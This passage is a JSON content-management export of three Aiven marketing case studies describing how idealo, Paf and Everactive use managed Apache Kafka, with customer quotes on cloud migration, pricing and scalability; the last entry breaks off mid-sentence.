{"__i18n_lang":"en","__i18n_refs":[{"_key":"de","_ref":"3be9e9c4-7d27-4aae-b2fe-58e28b598249__i18n_de","_type":"reference"}],"_createdAt":"2023-11-09T10:56:35Z","_id":"3be9e9c4-7d27-4aae-b2fe-58e28b598249","_rev":"ZhxRwgWPklJwoe04lgUoIS","_type":"caseStudy","_updatedAt":"2024-11-27T13:05:01Z","company":{"_ref":"6079f1b6-5fbf-4777-97d0-1621dc783637","_type":"reference"},"content":[{"_key":"069e45dee81a","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"45f894f60343","_type":"block","children":[{"_key":"63bcd3ef486b0","_type":"span","marks":[],"text":"As one of Europe's leading online comparison platforms for products and travel and flight, "},{"_key":"c8bb0a07bcd0","_type":"span","marks":["77e48d43203c"],"text":"idealo"},{"_key":"83243bad18da","_type":"span","marks":[],"text":" is a data-intensive business. Part of "},{"_key":"0bee6eaa77a1","_type":"span","marks":["b35c55f3bb5e"],"text":"Axel Springer SE"},{"_key":"13f0b079d75c","_type":"span","marks":[],"text":", the company has ambitions to further expand its presence across Europe. However, with an on-premises data infrastructure that was struggling to scale, idealo decided that moving to AWS was an essential part of its growth strategy. idealo chose Aiven to manage its Apache Kafka® infrastructure in the cloud, removing the management burden from internal teams and allowing them to focus on innovation – and cementing its position in a highly competitive market."}],"markDefs":[{"_key":"77e48d43203c","_type":"link","href":"https://idealo.de"},{"_key":"b35c55f3bb5e","_type":"link","href":"https://www.axelspringer.com/en/"}],"style":"normal"}],"variant":"oneColumn"},{"_key":"d452666f8f1d2243cd5adfe0884a3615","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-c71c4ac8ac3157a70e02b8eaffc1bc1abb88c2e2-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false},{"_key":"f40f31e3554f","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"subtitle":[{"_key":"9900774d2a5f","_type":"block","children":[{"_key":"8135e693e03e0","_type":"span","marks":[],"text":"idealo started in 2000 with a mission to help users make the best possible purchasing decisions thanks to transparent pricing. It has been part of media and tech giant Axel Springer SE since 2007. Every day, idealo parses billions of offers from shops of all sizes and assigns each offer to a specific product that users can find easily in the idealo app and website. The company now has an average of 76 million visits per month in Germany alone and displays more than 500 million offers from around 50,000 shops, making it one of the most popular German e-commerce websites and a leading platform in the highly competitive price-comparison space. idealo has also expanded into France, the UK, Italy, Austria and Spain, and is continuing to innovate and diversify its offering to stay ahead of the competition and achieve its goal of becoming No.1 in Europe."}],"markDefs":[],"style":"normal"}],"title":"Transparent pricing for consumer goods across Europe","variant":"oneColumn"},{"_key":"31091664cd13","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-3d751e843c77b644112826d961c772d980f60021-1800x668-jpg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false},{"_key":"b3c6afaf0b3d","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"b31597764a8e","_type":"block","children":[{"_key":"f6c7249df9e50","_type":"span","marks":[],"text":"Over the past two decades, idealo’s e-commerce and price comparison sites have grown significantly. The company has added merchants and product lines, expanded into different European markets and responded to changing online retail trends like Black Friday. As the business scaled up, its IT infrastructure was coming under more and more strain – notably around high-volume trading periods like Christmas."}],"markDefs":[],"style":"normal"},{"_key":"056b8e15e098","_type":"block","children":[{"_key":"c0487fbc6e810","_type":"span","marks":[],"text":"“We made the strategic decision to move our IT infrastructure to AWS for better scalability. Our data center couldn’t provide the capacity we needed to grow the business and support our teams’ plans,” says Wanis Fahmy, Senior Cloud Engineer, idealo."}],"markDefs":[],"style":"normal"},{"_key":"c253c912c008","_type":"block","children":[{"_key":"9fd0a857c7180","_type":"span","marks":[],"text":"Everyday idealo collaborates with thousands of merchants who share information about their listed products – including pricing, descriptions and images. idealo then processes, analyzes, ranks and shares that data on its website. “With 50,000 merchants and 500 million product offers, we handle massive amounts of data so having a fast, reliable data infrastructure is a critical part of our business model. People are interested in the best price now, not five minutes ago. Delays, inaccurate data or intermittent service could impact trust in the idealo brand,” says Fahmy. Consequently, idealo has been a long time and heavy user of Apache Kafka, the open source data streaming platform."}],"markDefs":[],"style":"normal"},{"_key":"e409d0a28c02","_type":"block","children":[{"_key":"213892c98eac0","_type":"span","marks":[],"text":"Before migrating to AWS, idealo had 30 on-premises Kafka clusters transferring data between the systems and apps underpinning its price comparison service. The company set itself an ambitious cloud migration plan to be completed in just 18 months. Moving the data infrastructure, including Kafka, was an essential part of the plan."}],"markDefs":[],"style":"normal"},{"_key":"cd6470c18988","_type":"block","children":[{"_key":"5734570e8c110","_type":"span","marks":[],"text":"Although the team had acquired solid experience of managing Kafka clusters on-premises, there were concerns it wasn’t sufficient for a cloud-based operation. Any loss of performance or, even worse, any downtime would result in a noticeable and immediate loss in trading. idealo needed a reliable partner to help with the migration and subsequent management of Kafka."}],"markDefs":[],"style":"normal"},{"_key":"16bb33e76ac1","_type":"block","children":[{"_key":"6aa6c57e17d80","_type":"span","marks":[],"text":"“Making sure our Kafka deployment is always up to date and always in sync with best practice is a huge task for us. Moving to the public cloud gave us the opportunity to find ways to hand this stress over to the experts, so our team could focus on our business,” says Fahmy."}],"markDefs":[],"style":"normal"}],"title":"Ambitious cloud migration to support expanding business","variant":"oneColumn"},{"_key":"a5d1e780547561bfb717b6900fdef8d9","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-639b114aea77bf5eaf6d15b8499a7701ee93755e-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false},{"_key":"b80dcb0577b7","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"b79485d67f5b","_type":"block","children":[{"_key":"fd1d6df6049e0","_type":"span","marks":[],"text":"idealo evaluated different vendors and the team chose Aiven. “Aiven was the only vendor that ticked all the boxes,” says Fahmy. “The other SaaS providers couldn’t match the technical capabilities of the Aiven data platform and we also wanted predictability, especially with pricing.”"}],"markDefs":[],"style":"normal"},{"_key":"7d97c0634362","_type":"block","children":[{"_key":"c971490591160","_type":"span","marks":[],"text":"Aiven’s straightforward, easy-to-understand pricing model was pivotal in the evaluation. “Moving to the public cloud was new for us, with a lot of different cost and pricing models. We weren’t sure how that would turn out – but we did know that soaring costs from things like data egress charges would really undermine our plans for change,” says Fahmy."}],"markDefs":[],"style":"normal"},{"_key":"1d95eeac8941","_type":"block","children":[{"_key":"3303bb2eb6280","_type":"span","marks":[],"text":"The migration to AWS would be staged, with some teams moving out of the data centers earlier than others. “One of the key technical requirements was that the Kafka clusters would work in dual mode – using Virtual Private Cloud (VPC) peering to ensure connection to the on-premises clusters, as well as allowing access to the ones already migrated to AWS. Aiven was the only vendor able to provide the flexibility to work both modes. It was very easy to switch back and forth, for example, to disable public access and just rely on peering and vice versa,” explains Fahmy."}],"markDefs":[],"style":"normal"}],"title":"Ticking all the boxes – available, reliable and predictable pricing","variant":"oneColumn"},{"_key":"831c289979d1","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-ffb85312328b66d3c7a00143995222d154b4794e-1700x631-jpg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false},{"_key":"f4ec10ec49e6","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"a3bc8b134591","_type":"block","children":[{"_key":"bdde96c4abd90","_type":"span","marks":[],"text":"idealo embarked on a successful proof of concept with Aiven for Apache Kafka® which provided all the technical reassurance required. Soon after it started moving the Kafka clusters to Aiven on AWS."}],"markDefs":[],"style":"normal"},{"_key":"c894579683de","_type":"block","children":[{"_key":"257384e17b9d0","_type":"span","marks":[],"text":"Honey Feelisch, Project Manager, idealo, was the lead project manager for the AWS migration. Even when some teams were still running their applications on-premises, Feelisch encouraged everyone to start using Aiven for Apache Kafka as a central data hub by mirroring or replicating the messages. “This strategy allowed us to untangle the dependencies between the teams. It also gave the freedom and the capability for everyone to listen to the Kafka messages and to think about how they could benefit,” says Feelisch."}],"markDefs":[],"style":"normal"},{"_key":"4bc4751eef1a","_type":"block","children":[{"_key":"944b1832b5c30","_type":"span","marks":[],"text":"Three months after the proof of concept was completed, the Kafka infrastructure had successfully moved into production in the cloud. Today, around 60 Kafka clusters are managed by Aiven, supporting a number of different teams with an increasingly wide range of use cases."}],"markDefs":[],"style":"normal"},{"_key":"7e5a50eab558","_type":"block","children":[{"_key":"c3b2d147c1a10","_type":"span","marks":[],"text":"“We use Kafka a lot for event-driven asynchronous communication between teams and their various microservices,” says Fahmy. “The second biggest use case takes advantage of Aiven for Apache Kafka® Connect which some of our teams use for the ingestion of data into our big data lake in AWS.”"}],"markDefs":[],"style":"normal"},{"_key":"4a23efaf517f","_type":"block","children":[{"_key":"9e98853f329a0","_type":"span","marks":[],"text":"Since moving to Aiven, the popularity and usage of Kafka has increased. “With Aiven, our Kafka clusters are much more reliable than they were before. That means our teams can focus on the core business and not care about maintenance. It's also very easy to start up a new cluster now. That makes it a lot more attractive and accessible to other teams,” says Fahmy."}],"markDefs":[],"style":"normal"},{"_key":"26c30e2582a1","_type":"block","children":[{"_key":"7c01f14bf8f60","_type":"span","marks":[],"text":"From a business perspective, idealo has the reassurance that the Kafka components of its critical data infrastructure are highly available at all times and that data will continue to be moved quickly and successfully even during peak periods like Black Friday."}],"markDefs":[],"style":"normal"},{"_key":"b0e6ebd41de9","_type":"block","children":[{"_key":"55ea7b5c309d0","_type":"span","marks":[],"text":"“Aiven helps us accommodate increases in workloads and data volumes. This means the systems underpinning our price comparison site can scale and adjust to our business needs as we continue to grow in popularity, expand into new markets and meet our ambitious growth targets,” says Andreas Hankel, CTO, idealo."}],"markDefs":[],"style":"normal"}],"title":"Aiven for Apache Kafka supports increasingly wide range of use cases","variant":"oneColumn"},{"_key":"b61e54e158a5","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-2547027a1f3d73d158338af245f42c35c93ca6a3-1866x880-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false},{"_key":"cf11078c9b6c","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"f3cf38ec8ba7","_type":"block","children":[{"_key":"f0451d4ab1500","_type":"span","marks":[],"text":"The focus of the last year has been on migrating workloads to AWS and Aiven for Apache Kafka. But as Fahmy notes, working with Aiven is creating new possibilities and new use cases that hadn’t previously been possible. “In the past some teams avoided using Kafka because it’s complicated, but now, thanks to Aiven, they have an opportunity to create new clusters and create new customer services based on that. Moving forward, we’re going to learn a lot and I’m excited to see the innovation it will spark.”"}],"markDefs":[],"style":"normal"}],"title":"Looking forward to new business innovation ","variant":"oneColumn"},{"_key":"29c8393da414a2de2722008b308beed0","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-0f63cfa1c4dda213728e82773ae3ae5ef02b8c35-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false}],"heroSubtitle":"Apache Kafka® infrastructure moved to AWS bringing new levels of scalability and reliability to support growth","heroTitle":"Aiven Supports idealo, one of Europe's Leading Price Comparison Sites, as it Strives to Secure the Top Position","hostProviders":[{"_key":"9a6c4809149f","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"image":{"_type":"mainImage","asset":{"_ref":"image-850b2b6a559fca7222c80739c7e615e9e0c9cbcd-5816x3640-jpg","_type":"reference"}},"industry":[{"_id":"21e66dfc-f88c-4f23-9238-0b848acaf2e0","label":"Retail","value":"retail"}],"publishedAt":"2023-11-10T07:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Apache Kafka® infrastructure moved to AWS bringing new levels of scalability and reliability to support growth","metaImage":{"_type":"mainImage","asset":{"_ref":"image-c71c4ac8ac3157a70e02b8eaffc1bc1abb88c2e2-1200x628-png","_type":"reference"}},"metaTitle":"Aiven Supports idealo, one of Europe's Leading Price Comparison Sites, as it Strives to Secure the Top Position"},"services":[{"_key":"5693090acfd4","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"bc5e45e89a6d","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"},{"_key":"b6bc26b07294","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"7ba1fc469700","_ref":"c6ff24d7-20df-4041-a816-2f7f934c0b80","_type":"reference"}],"slug":{"_type":"slug","current":"/case-studies/aiven-supports-idealo"},"title":"Aiven Supports idealo, one of Europe's Leading Price Comparison Sites, as it Strives to Secure the Top Position"} {"__i18n_lang":"en","_createdAt":"2022-09-13T15:08:41Z","_id":"99f970a3-6f43-4251-8d9b-279e98cd45f8","_rev":"on5KSabgAN0raW406Y55CV","_type":"caseStudy","_updatedAt":"2024-02-08T14:58:50Z","company":{"_ref":"1aEmXcT3h9R3Vg88M7f2dE","_type":"reference"},"content":[{"_key":"9d2cbd331687","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"779e94912767","_type":"block","children":[{"_key":"1d81f2d763b30","_type":"span","marks":[],"text":"Paf is a physical and online gambling operator in the Baltics run by the Government of Åland. They are moving from classic mechanical games to modern online hybrid gaming, and because of their mix of legacy and current technologies, they need Aiven for Apache Kafka® to do it."}],"markDefs":[],"style":"normal"}],"title":"Overview","variant":"oneColumn"},{"_key":"9b950b74cb79","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"a13c129f95d5","_type":"block","children":[{"_key":"31a8f0aceba20","_type":"span","marks":[],"text":"Paf's infrastructure is a mix of legacy and current systems that Aiven for Apache Kafka helps them juggle and streamline."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f0c32eb4d2c0","_type":"block","children":[{"_key":"3af7fec393050","_type":"span","marks":[],"text":"The infra moves around data from data warehousing, Business Intelligence and CRM applications."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b79a37ba559a","_type":"block","children":[{"_key":"0d53448237120","_type":"span","marks":[],"text":"Handling identifying information means GDPR compliance both at rest and in transit."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Highlights","variant":"oneColumn"},{"_key":"e0b913ed47e1","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"f3fedcb55271","_type":"block","children":[{"_key":"1407af4d4d060","_type":"span","marks":["b04424b75fce"],"text":"Paf"},{"_key":"1407af4d4d061","_type":"span","marks":[],"text":" is a physical and online gambling operator in the Baltics run by the Government of Åland with a mission to generate profit for the benefit of the Ålandic society."}],"markDefs":[{"_key":"b04424b75fce","_type":"link","href":"https://www.paf.com/"}],"style":"normal"},{"_key":"e9e756df4dfe","_type":"block","children":[{"_key":"4832d6241eb70","_type":"span","marks":[],"text":"Many of Paf’s data pipelines leverage a mix of legacy and current technologies, which requires building loosely-coupled applications and systems to support data schemas. Moreover, the implementation needs to work in real time."}],"markDefs":[],"style":"normal"},{"_key":"cdb478a9a95f","_type":"block","children":[{"_key":"b46084e75cd40","_type":"span","marks":[],"text":"Several disparate teams at the company – with more than 350 employees at last count – have had to create a variety of data pipelines to support a range of existing and yet-unknown future systems."}],"markDefs":[],"style":"normal"},{"_key":"22915513fd68","_type":"block","children":[{"_key":"073b5bb1fc360","_type":"span","marks":[],"text":"Robarto Zagni, Paf’s Head of Data and CRM, explains the difficulty: “Our data warehousing, BI, and CRM applications provide marketing and support teams with the data they need. In that function, we are also the ones building infrastructure to move the data around...and while [our old] systems work, they’re not so open or easily interfaceable for other parts of the company.”"}],"markDefs":[],"style":"normal"},{"_key":"fed7aaa025f6","_type":"block","children":[{"_key":"f16c427e9dc90","_type":"span","marks":[],"text":"Additionally, Paf needs to be able to quickly handle GDPR - particularly related to identifying information - in data that is both in transit and at rest. A system like Apache Kafka enables this - but how to begin?"}],"markDefs":[],"style":"normal"}],"title":"The challenge","variant":"oneColumn"},{"_key":"c6936c395d23","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"78e7f06cf443","_ref":"3Sy7RDrIVBxXiyRUgoLFiv","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"variant":"media"},{"_key":"328c4cc3a1a5","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"35f74b054534","_type":"block","children":[{"_key":"032d0815920c","_type":"span","marks":[],"text":"Zagni reported that he viewed running Kafka in-house as a risk primarily because no one in the company had experience in running Kafka clusters. They could either train or hire people, but these were both inefficient routes."}],"markDefs":[],"style":"normal"},{"_key":"85435222c082","_type":"block","children":[{"_key":"1f76f7898959","_type":"span","marks":[],"text":"So Paf looked into a third option: buying Kafka as a service. After considering Confluent’s hosted Kafka, they decided to let Aiven handle the SLA, monitor the cluster, and maintain security updates."}],"markDefs":[],"style":"normal"},{"_key":"ce7aa49758a0","_type":"block","children":[{"_key":"0f51093579d30","_type":"span","marks":[],"text":"Besides competitive pricing, the flexibility of future schemas and the freedom from data setup and management overhead were key factors in deciding to go with Aiven for Kafka. Manager of System Ops, Fredrik Wiklund explains:"}],"markDefs":[],"style":"normal"},{"_key":"f86534de902e","_type":"block","children":[{"_key":"2c22246e3e4f0","_type":"span","marks":[],"text":"“Aiven for Kafka was a really good option for us because, as we’re moving to AWS, we could use the Bring Your Own Account option. We handle the AWS accounts and have more control over our data, while Aiven handles Kafka.”"}],"markDefs":[],"style":"normal"},{"_key":"820611718b9f","_type":"block","children":[{"_key":"720c8cca47590","_type":"span","marks":[],"text":"Wiklund also enjoys the human touch and dedication to security that working with the team entails:"}],"markDefs":[],"style":"normal"},{"_key":"f62d16d9f977","_type":"block","children":[{"_key":"47ee9b681b97","_type":"span","marks":[],"text":"“We can just walk over to them if we have anything we want to discuss. And Aiven is ISO 27001 certified already. We did an external audit on Aiven’s Information Security Management System and were really impressed about how Aiven is taking information security seriously.”"}],"markDefs":[],"style":"normal"}],"title":"The solution","variant":"oneColumn"},{"_key":"7c324e12889d","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"ce490419f8a3","_type":"block","children":[{"_key":"45c2aaf853bb0","_type":"span","marks":[],"text":"Paf had multiple teams serving a myriad of purposes, not always a clear interface between many functions (and data pipelines), the need to spin up custom pipelines fast, and the scrutiny of both local regulatory requirements and GDPR. They sorely needed a messaging solution that was secure, loosely-coupled, flexible, transparent, and managed, so that they could stay focused on their core business. At the intersection of all of these is "},{"_key":"d2428cca63d6","_type":"span","marks":["5534160ebc72"],"text":"Aiven for Apache Kafka®"},{"_key":"5c6d450d3a3a","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"5534160ebc72","_type":"internalLink","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5","_type":"reference"}}],"style":"normal"}],"title":"The outcome","variant":"oneColumn"},{"_key":"76d0fc45e29a","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"6721eccd5480","_ref":"5CdxPWPXR4IsW7aZTpIqS1","_type":"reference"}],"rounded":false,"variant":"media"}],"heroSubtitle":"This gambling operator in the Baltics went from slot machines to an online hybrid Apache Kafka-based infrastructure.","heroTitle":"Aiven helps Paf stay ahead with Apache Kafka®","image":{"_type":"mainImage","asset":{"_ref":"image-72c682208a3caae89c873f5e739e2ed4e15e5b44-1920x1037-jpg","_type":"reference"}},"publishedAt":"2021-09-06T10:58:00.000Z","seo":{"_type":"metaData","metaDescription":"Find out how Paf uses Aiven for Apache Kafka® to build loosely-coupled, flexible, transparent, and secure data pipelines.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-97f23ebf185b58987922423d175fe04287802bc5-1200x630-jpg","_type":"reference"}},"metaTitle":"Paf stays ahead with Aiven for Apache Kafka®"},"slug":{"_type":"slug","current":"/case-studies/aiven-for-apache-kafka-helps-paf"},"title":"Paf"} {"__i18n_lang":"en","_createdAt":"2022-11-16T06:19:45Z","_id":"376d30cf-f8b6-41b1-94d9-18fec20f3c72","_rev":"5Z1Wt8heIgL77lCwqHBbiy","_type":"caseStudy","_updatedAt":"2024-02-13T10:21:27Z","additionalResources":{"items":[{"_key":"45fb327c26c0","_ref":"5tcvRybcSkU7QRXuhXA7vZ","_type":"reference"}],"title":"You might also like"},"company":{"_ref":"ca7f0c1a-0972-4cbf-8d6f-992f792c48cd","_type":"reference"},"content":[{"_key":"37620b6471a4","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","columnOne":[{"_key":"076cb6459cfd","_type":"block","children":[{"_key":"394d1deba6a80","_type":"span","marks":[],"text":"Everactive, a pioneer in a new category of batteryless Internet of Things technology, sought a pipeline for huge amounts of sensor data, a solution that they wouldn’t have to manage themselves. In Aiven they found a flexible, reliable and secure partner, and Aiven for Apache Kafka® now forms the backbone of their data infrastructure."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"d2ab14f7fa6f","_type":"block","children":[{"_key":"ecf7289dcb760","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"variant":"oneColumn"},{"_key":"87ca81f4adff","_type":"textColumn","columnOne":[{"_key":"22bcb5d09141","_type":"block","children":[{"_key":"9f4f938b16df","_type":"span","marks":[],"text":"Groundbreaking green innovation in sensor technology. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4250130f51d5","_type":"block","children":[{"_key":"076f3cf672f9","_type":"span","marks":[],"text":"Using Apache Kafka as a message broker between IoT devices and longterm storage databases. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8ea997e055d4","_type":"block","children":[{"_key":"aadb4f534cd0","_type":"span","marks":[],"text":"Small team + big data: needed a managed solution."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"rounded":false,"title":"Case study highlights","variant":"oneColumn"},{"_key":"dba34122f684","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"a2523a88a6b3","_type":"testimonialItem","content":[{"_key":"23b1384dc13f","_type":"block","children":[{"_key":"5d6a939e6e650","_type":"span","marks":[],"text":"\"With Aiven, things just work better than they did before.\""}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-2d6c3f84e5cdca362a22ebe4a8cc30d207425fbd-2500x2542-png","_type":"reference"}},"jobTitle":"Principal Software Engineer at Everactive","name":"Rob Cook"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"variant":"media"},{"_key":"cdb9d5c54a40","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","columnOne":[{"_key":"baf6be42f526","_type":"block","children":[{"_key":"ee5a9a64cdee","_type":"span","marks":[],"text":"Founded in 2012 with roots going back to pioneering M.I.T. research, Everactive provides an IoT platform based on self-powered sensor devices and low-power wireless communication. “We’re trying to remove the batteries from the Internet of Things,” says "},{"_key":"15cfa082bc08","_type":"span","marks":["strong"],"text":"Carlos Olmos"},{"_key":"d82c9f7e8bf9","_type":"span","marks":[],"text":", Senior Principal Software Engineer at Everactive."}],"markDefs":[],"style":"normal"},{"_key":"8d96b917de12","_type":"block","children":[{"_key":"4bd64ff3cdbb","_type":"span","marks":[],"text":"The company’s low-power devices run on low levels of energy harvested from the environment, for example solar panels, radio waves, thermal gradients and vibrations. The feats of electrical engineering that created their offering, however, are only a part of the story. They also have to provide their customers with a performant data pipeline from sensor to storage to visualization."}],"markDefs":[],"style":"normal"},{"_key":"0afb04d6b379","_type":"block","children":[{"_key":"2fdd97b54a28","_type":"span","marks":[],"text":"“It’s not enough just to have hardware,” says "},{"_key":"a01259a760b9","_type":"span","marks":["strong"],"text":"Rob Cook"},{"_key":"a8d030a8401d","_type":"span","marks":[],"text":", Principal Software Engineer at Everactive. “For the system to be useful, you have to make it easy for people to utilize it, not just in terms of building other hardware on top of it but also consuming the streams of data that it generates.”"}],"markDefs":[],"style":"normal"},{"_key":"57b264c8cbea","_type":"block","children":[{"_key":"1002972d628a","_type":"span","marks":[],"text":"The company’s first application was a self-powered Steam Trap Monitoring solution, released in 2018, which reduces energy waste and carbon emissions. In 2020 they made available a Machine Health Monitoring solution that analyzes vibrations of industrial rotating machines like motors and compressors. These are definitely not just hardware solutions; instead, they put data to work and employ innovative algorithms to process it to gain insights that no other systems can."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Overview","variant":"oneColumn"},{"_key":"458fa228cba0","_type":"textColumn","columnOne":[{"_key":"3e1bbd8a2130","_type":"block","children":[{"_key":"3338fa7a9598","_type":"span","marks":[],"text":"When Everactive constructed their first data pipeline in 2014, they started with Apache NiFi and OpenTSDB. Very soon they outgrew this setup. “We weren’t able to automate anything in that system, and management was a pain,” says Rob, “Then we ran into performance issues, and upgrading into a cluster wasn’t feasible.” If they couldn’t manage one single server, how would they ever manage a whole cluster?"}],"markDefs":[],"style":"normal"},{"_key":"7b6bb5e5fc88","_type":"block","children":[{"_key":"81b87705d311","_type":"span","marks":[],"text":"Next they tried out an Apache Pulsar cluster, but this had essentially the same problems. “In theory, it was inexpensive to run our own cluster, but we couldn’t both run it and do our actual jobs,” Rob explains. “And we couldn’t find anybody we could pay money to run it for us.”"}],"markDefs":[],"style":"normal"},{"_key":"f5ca81bbeeae","_type":"block","children":[{"_key":"4be10d75fe87","_type":"span","marks":[],"text":"In the meantime, performance issues were accumulating. Sensor installations were taking too long, because the signals from the sensor had to travel through a bottlenecked system, which took up to 5 minutes per sensor."}],"markDefs":[],"style":"normal"},{"_key":"032d869c08f2","_type":"block","children":[{"_key":"9409a376ce8f","_type":"span","marks":[],"text":"At this point, too, the concept was fully commercialized and business was really taking off. They needed a solution. Now, at least, they had a much better idea of what they were looking for: a system that would be…"}],"markDefs":[],"style":"normal"},{"_key":"31ed87300df8","_type":"block","children":[{"_key":"28cfd8604c33","_type":"span","marks":[],"text":"… able to ingest huge amounts of data and pass it into a time-series database for processing."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bf64f98c4957","_type":"block","children":[{"_key":"e9c54085e5f7","_type":"span","marks":[],"text":"… easily scalable."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9900f0bb0973","_type":"block","children":[{"_key":"a1ffa4f22b99","_type":"span","marks":[],"text":"… fault tolerant."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3f2a959303f7","_type":"block","children":[{"_key":"7a64e1aea3cc","_type":"span","marks":[],"text":"… managed for Everactive by experts."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"dd1a283c0cd3","_type":"block","children":[{"_key":"9fdcec7b61ce","_type":"span","marks":[],"text":"Fortunately, there was Apache Kafka®, a widely used solution available as a managed 